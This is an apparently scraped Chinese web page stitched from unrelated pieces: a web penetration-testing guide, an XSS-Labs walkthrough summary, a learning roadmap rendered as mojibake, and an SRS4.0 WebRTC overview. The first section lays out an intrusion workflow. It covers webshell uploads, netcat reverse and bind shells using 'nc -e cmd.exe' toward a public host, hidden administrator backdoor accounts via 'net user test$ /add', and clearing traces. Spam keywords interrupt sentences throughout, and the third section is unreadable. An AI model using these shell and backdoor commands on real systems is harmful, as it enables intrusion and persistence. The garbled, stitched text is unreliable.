1.web渗透是安安全什么?
2.Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)
3.webå®å
¨è¦å¦ä»ä¹
4.SRS4.0源代码分析之WebRTC服务总体介绍
web渗透是什么?
Web渗透测试分为白盒测试和黑盒测试,白盒测试是度剖指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。析源而黑盒测试则是深度在对该网站系统信息不知情的情况下渗透,以下所说的剖析电商源码商源码Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤,源码信息收集,安安全漏洞扫描,全深漏洞利用,度剖提权,析源内网渗透,深度留后门,剖析清理痕迹。源码一般的安安全渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,洗车预约 PHP源码登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,怎么编译osip源码可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。
信息收集
信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。
DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)
整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、最大的源码论坛CMS类型;
网站常见搭配为:
ASP和ASPX:ACCESS、SQLServer
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
敏感目录信息(御剑,dirbust)
开放端口信息(nmp)
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。
常见漏洞:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如:
Sql注入(sqlmap)
XSS(BEEF)
后台密码爆破(burp)
端口爆破(hydra)
提权
获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法:
反向连接
在公网主机上进行监听:
nc-lvp
在内网主机上执行:
nc-e cmd.exe 公网主机ip
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行:
nc-l -p -t -e cmd.exe
本地主机上执行:
nc-vv 远程主机ip
成功后,本地主机即可远程主机的一个shell
然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马,带内容轮播源码留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工:
netuser test$ /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。
Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)
Web安全中的XSS攻击详解与Xss-Labs靶场通关教程
跨站脚本(XSS)攻击是一种攻击手段,攻击者通过在网页中植入恶意脚本,当用户浏览时执行,威胁用户安全。XSS主要分为两种类型。 这种攻击可能**用户的cookie,造成会话劫持和身份冒充等威胁。防御XSS的关键在于验证用户输入并正确转义特殊字符。 在Xss-Labs靶场中,我们从第一关URL传参开始,分析参数"name",尝试注入恶意payload来理解原理。第二关是输入框注入,需绕过源码的转义,如尝试嵌套反斜杠符号来构造payload。
第三关涉及事件注入,利用JavaScript的onfocus事件,通过特定的函数调用来绕过转义。
第四关和第五关分别涉及引号类型和a标签注入,需要根据目标页面的编码规则调整payload以成功注入。
后续的关卡中,攻击者需要通过大小写绕过、Unicode编码、指定字符绕过等技术手段,逐渐突破靶场的防护。例如,利用HTML实体编码的特性或找到未转义的属性进行注入。 最终,攻击者需要理解每个环节的过滤机制,并结合网络工具,如抓包,来调整和验证payload。比如在Referer和User-Agent攻击中,需要巧妙地构造请求头信息来绕过过滤。 当遇到难题时,如Cookie攻击,可能需要结合网络分析和PHP源码解读来解决。Xss-Labs靶场的通关需要一步步细致的分析和灵活的策略应用。webå®å ¨è¦å¦ä»ä¹
å¦ä¹ Webå®å ¨éè¦ææ¡Webå®å ¨ç¸å ³æ¦å¿µãæ¸éæµè¯ç¸å ³å·¥å ·ãæ¸éå®ææä½ãçæWindows/Kali Linuxãä¸é´ä»¶åæå¡å¨çå®å ¨é ç½®ãèæ¬ç¼ç¨å¦ä¹ ãæºç 审计ä¸æ¼æ´åæãå®å ¨ä½ç³»è®¾è®¡ä¸å¼åççãç®ååä¸ä¸ªå¦ä¹ è§åï¼
第ä¸æ¥ï¼Webå®å ¨ç¸å ³æ¦å¿µ
建议å¦ä¹ æ¶é´ï¼2å¨
å¦ä¹ å 容å¦ä¸ï¼
1ãçæåºæ¬æ¦å¿µ(SQLæ³¨å ¥ãä¸ä¼ ãXSSãCSRFãä¸å¥è¯æ¨é©¬ç)ã
2ãéè¿å ³é®å(SQLæ³¨å ¥ãä¸ä¼ ãXSSãCSRFãä¸å¥è¯æ¨é©¬ç)è¿è¡Googleã
3ãé 读ãWebå®å ¨æ·±åº¦åæãï¼ä½ä¸ºå ¥é¨å¦ä¹ è¿æ¯å¯ä»¥çã
4ãçä¸äºæ¸éç¬è®°/è§é¢ï¼äºè§£æ¸éå®æçæ´ä¸ªè¿ç¨ï¼å¯ä»¥Google(æ¸éç¬è®°ãæ¸éè¿ç¨ãå ¥ä¾µè¿ç¨ç)ã
第äºæ¥ï¼çææ¸éç¸å ³å·¥å ·
建议å¦ä¹ æ¶é´ï¼3å¨
å¦ä¹ å 容å¦ä¸ï¼
1ãçæAWVSãSqlmapãBurpsuiteãNessusãChina chopper ãNmapãAppscançç¸å ³å·¥å ·ç使ç¨ã
2ãäºè§£è¯¥ç±»å·¥å ·çç¨éå使ç¨åºæ¯ã
3ãä¸è½½æ åé¨ççè¿äºè½¯ä»¶è¿è¡å®è£ ã
4ãå¦ä¹ 并è¿è¡ä½¿ç¨ï¼å ·ä½ææå¯ä»¥å¨ç½ä¸æç´¢ï¼ä¾å¦ï¼Burpsuiteçæç¨ãSqlmapã
5ã常ç¨çè¿å 个软件é½å¦ä¼åï¼å¯ä»¥å®è£ é³éå¯å¨åä¸ä¸ªæ¸éå·¥å ·ç®±
第ä¸æ¥ï¼æ¸éå®ææä½
建议å¦ä¹ æ¶é´ï¼5å¨
å¦ä¹ å 容å¦ä¸ï¼
1ãææ¡æ¸éçæ´ä¸ªé¶æ®µå¹¶è½å¤ç¬ç«æ¸éå°åç«ç¹ã
2ãç½ä¸æ¾æ¸éè§é¢ç并æèå ¶ä¸çæè·¯ååçï¼å ³é®å(æ¸éãSQLæ³¨å ¥è§é¢ãæ件ä¸ä¼ å ¥ä¾µãæ°æ®åºå¤ä»½ãDedecmsæ¼æ´å©ç¨çç)ã
3ãèªå·±æ¾ç«ç¹/æ建æµè¯ç¯å¢è¿è¡æµè¯ï¼è®°ä½è¯·éèå¥½ä½ èªå·±ã
4ãæèæ¸é主è¦å为å 个é¶æ®µï¼æ¯ä¸ªé¶æ®µéè¦ååªäºå·¥ä½ï¼ä¾å¦è¿ä¸ªï¼PTESæ¸éæµè¯æ§è¡æ åã
5ãç 究SQLæ³¨å ¥çç§ç±»ãæ³¨å ¥åçãæå¨æ³¨å ¥æå·§ã
6ãç 究æ件ä¸ä¼ çåçï¼å¦ä½è¿è¡æªæã解ææ¼æ´å©ç¨çï¼åç §ï¼ä¸ä¼ æ»å»æ¡æ¶ã
7ãç 究XSSå½¢æçåçåç§ç±»ï¼å ·ä½å¦ä¹ æ¹æ³å¯ä»¥Googleã
8ãç 究Windows/Linuxææçæ¹æ³åå ·ä½ä½¿ç¨ï¼å¯ä»¥åèï¼ææã
9ãå¯ä»¥åè: å¼æºæ¸éæµè¯è弱系ç»ã
第åæ¥ï¼å ³æ³¨å®å ¨åå¨æ
建议å¦ä¹ æ¶é´ï¼1å¨
å¦ä¹ å 容å¦ä¸ï¼
1ãå ³æ³¨å®å ¨åçææ°æ¼æ´ãå®å ¨äºä»¶ä¸ææ¯æç« ã
2ãæµè§æ¯æ¥çå®å ¨ææ¯æç« /äºä»¶ã
3ãéè¿å¾®åãå¾®ä¿¡å ³æ³¨å®å ¨åçä»ä¸äººå(éå°å¤§ççå ³æ³¨æè 好åææå ³æ³¨)ï¼å¤©å¤©æ½æ¶é´å·ä¸ä¸ã
4ãéè¿feedly/é²æ订é å½å å¤å®å ¨ææ¯å客(ä¸è¦ä» éäºå½å ï¼å¹³æ¶å¤æ³¨æ积累)ã
5ãå »æä¹ æ¯ï¼æ¯å¤©ä¸»å¨æ交å®å ¨ææ¯æç« é¾æ¥å°iæ¥ç§ç¤¾åºè¿è¡ç§¯æ·ã
6ãå¤å ³æ³¨ä¸ææ°æ¼æ´å表ï¼å¯ä»¥ççhackeroneãfreebufãå®å ¨å®¢çï¼éå°å ¬å¼çæ¼æ´é½å»å®è·µä¸ã
7ãå ³æ³¨å½å å½é ä¸çå®å ¨ä¼è®®çè®®é¢æè å½åã
8ãå å ¥ææ¯äº¤æµç¾¤ï¼ä¸ç¾¤å 大佬们讨æä¸äºç»éªåæå·§ã
第äºæ¥ï¼çæWindows/Kali Linux
建议å¦ä¹ æ¶é´ï¼3å¨
å¦ä¹ å 容å¦ä¸ï¼
1ãå¦ä¹ Windows/Kali Linuxåºæ¬å½ä»¤ã常ç¨å·¥å ·ã
2ãçæWindowsä¸ç常ç¨çcmdå½ä»¤ï¼ä¾å¦ï¼ipconfig,nslookup,tracert,net,tasklist,taskkillçã
3ãçæLinuxä¸ç常ç¨å½ä»¤ï¼ä¾å¦ï¼ifconfig,ls,cp,mv,vi,wget,service,sudoçã
4ãçæKali Linuxç³»ç»ä¸ç常ç¨å·¥å ·ï¼å¯ä»¥åèãWeb Penetration Testing with Kali LinuxãããHacking with Kaliãçã
5ãçæmetasploitå·¥å ·ï¼å¯ä»¥åèãMetasploitæ¸éæµè¯æåãã
第å æ¥ï¼ä¸é´ä»¶åæå¡å¨çå®å ¨é ç½®
建议å¦ä¹ æ¶é´ï¼3å¨
å¦ä¹ å 容å¦ä¸ï¼
1ãå¦ä¹ æå¡å¨ç¯å¢é ç½®ï¼å¹¶è½éè¿æèåç°é ç½®åå¨çå®å ¨é®é¢ã
2ãWindows serverç¯å¢ä¸çIISé ç½®ï¼ç¹å«æ³¨æé ç½®å®å ¨åè¿è¡æéã
3ãLinuxç¯å¢ä¸çLAMPçå®å ¨é ç½®ï¼ä¸»è¦èèè¿è¡æéãè·¨ç®å½ãæ件夹æéçã
4ãè¿ç¨ç³»ç»å åºï¼éå¶ç¨æ·ååå£ä»¤ç»éï¼éè¿iptableséå¶ç«¯å£ï¼é 置软件Wafå 强系ç»å®å ¨ï¼å¨æå¡å¨é ç½®mod_securityçç³»ç»ã
5ãéè¿Nessus软件对é ç½®ç¯å¢è¿è¡å®å ¨æ£æµï¼åç°æªç¥å®å ¨å¨èã
第ä¸æ¥ï¼èæ¬ç¼ç¨å¦ä¹
建议å¦ä¹ æ¶é´ï¼4å¨
å¦ä¹ å 容å¦ä¸ï¼
1ãéæ©èæ¬è¯è¨ï¼Perl/Python/PHP/Go/Javaä¸çä¸ç§ï¼å¯¹å¸¸ç¨åºè¿è¡ç¼ç¨å¦ä¹ ã
2ãæ建å¼åç¯å¢åéæ©IDEï¼PHPç¯å¢æ¨èWampåXAMPPï¼IDE强çæ¨èSublimeã
3ãPythonç¼ç¨å¦ä¹ ï¼å¦ä¹ å 容å å«ï¼è¯æ³ãæ£åãæ件ãç½ç»ãå¤çº¿ç¨ç常ç¨åºï¼æ¨èãPythonæ ¸å¿ç¼ç¨ãã
4ãç¨Pythonç¼åæ¼æ´çexpï¼ç¶ååä¸ä¸ªç®åçç½ç»ç¬è«ã
5ãPHPåºæ¬è¯æ³å¦ä¹ 并书åä¸ä¸ªç®åçå客系ç»ï¼åè§ãPHPä¸MySQLç¨åºè®¾è®¡(第4ç)ããè§é¢ã
6ãçæMVCæ¶æï¼å¹¶è¯çå¦ä¹ ä¸ä¸ªPHPæ¡æ¶æè Pythonæ¡æ¶(å¯é)ã
7ãäºè§£Bootstrapçå¸å±æè CSSã
ç¬¬å «æ¥ï¼æºç 审计ä¸æ¼æ´åæ
建议å¦ä¹ æ¶é´ï¼3å¨
å¦ä¹ å 容å¦ä¸ï¼
1ãè½ç¬ç«åæèæ¬æºç ç¨åºå¹¶åç°å®å ¨é®é¢ã
2ãçææºç 审计çå¨æåéææ¹æ³ï¼å¹¶ç¥éå¦ä½å»åæç¨åºã
3ãäºè§£Webæ¼æ´çå½¢æåå ï¼ç¶åéè¿å ³é®åè¿è¡æ¥æ¾åæã
4ãç 究Webæ¼æ´å½¢æåçåå¦ä½ä»æºç å±é¢é¿å 该类æ¼æ´ï¼å¹¶æ´çæchecklistã
å¦ä¹ å°åï¼iæ¥ç§å®ç½ï¼ä¼å®æ®¿ï¼
第ä¹æ¥ï¼å®å ¨ä½ç³»è®¾è®¡ä¸å¼å
建议å¦ä¹ æ¶é´ï¼5å¨
å¦ä¹ å 容å¦ä¸ï¼
1ãè½å»ºç«èªå·±çå®å ¨ä½ç³»ï¼å¹¶è½æåºä¸äºå®å ¨å»ºè®®æè ç³»ç»æ¶æã
2ãå¼åä¸äºå®ç¨çå®å ¨å°å·¥å ·å¹¶å¼æºï¼ä½ç°ä¸ªäººå®åã
3ã建ç«èªå·±çå®å ¨ä½ç³»ï¼å¯¹å ¬å¸å®å ¨æèªå·±çä¸äºè®¤è¯åè§è§£ã
4ãæåºæè å å ¥å¤§åå®å ¨ç³»ç»çæ¶ææè å¼åã
SRS4.0源代码分析之WebRTC服务总体介绍
SRS4.0的WebRTC服务提供了一种强大的实时音视频通信解决方案,它基于Web标准,支持浏览器之间的双向通信。SRS4.0引入WebRTC的主要目的是为了增强服务器的SFU(服务器转发单元)功能,以优化客户端接入和降低音视频处理对服务器CPU的负担。通过部署SFU,客户端可以将本地音视频数据推送到服务器,同时服务器根据需要拉取数据,实现低延迟的直播连麦场景。
WebRTC涉及的知识点广泛,包括SDP报文处理、ICE连接建立、DTLS加密等,但SRS4.0的重点在于简化用户对WebRTC的理解。SRS4.0 WebRTC服务的核心模块在`srs_app_rtc_server.cpp`中初始化,主要负责自签名证书生成、UDP端口监听(如)和推拉流API接口注册。RTMP与WebRTC的不同在于,WebRTC通过P2P/ICE技术建立UDP连接,而RTMP则通过socket复用控制命令和数据流。
SRS4.0通过HTTP(S)接口提供对外API,如/rtc/v1/publish/和/rtc/v1/play/,用于接收和发送音视频数据。当客户端发起推流或拉流请求时,SRS会创建相应的对象(如SrsRtcPublishStream和SrsRtcPlayStream),并处理SDP交换和ICE连接建立。推流和拉流过程涉及SDP报文协商,ICE用于客户端和服务端建立数据传输通道,确保安全性和稳定性。
最后,总结SRS4.0 WebRTC的处理流程:首先,监听端口并提供API接口;其次,根据API请求创建相应的数据流对象;接着,通过SDP和ICE建立连接;最后,音视频数据在服务器和客户端之间按此流程传递:客户端→服务器→SRS对象→客户端。理解这些核心流程有助于深入研究SRS4.0的WebRTC功能和实现机制。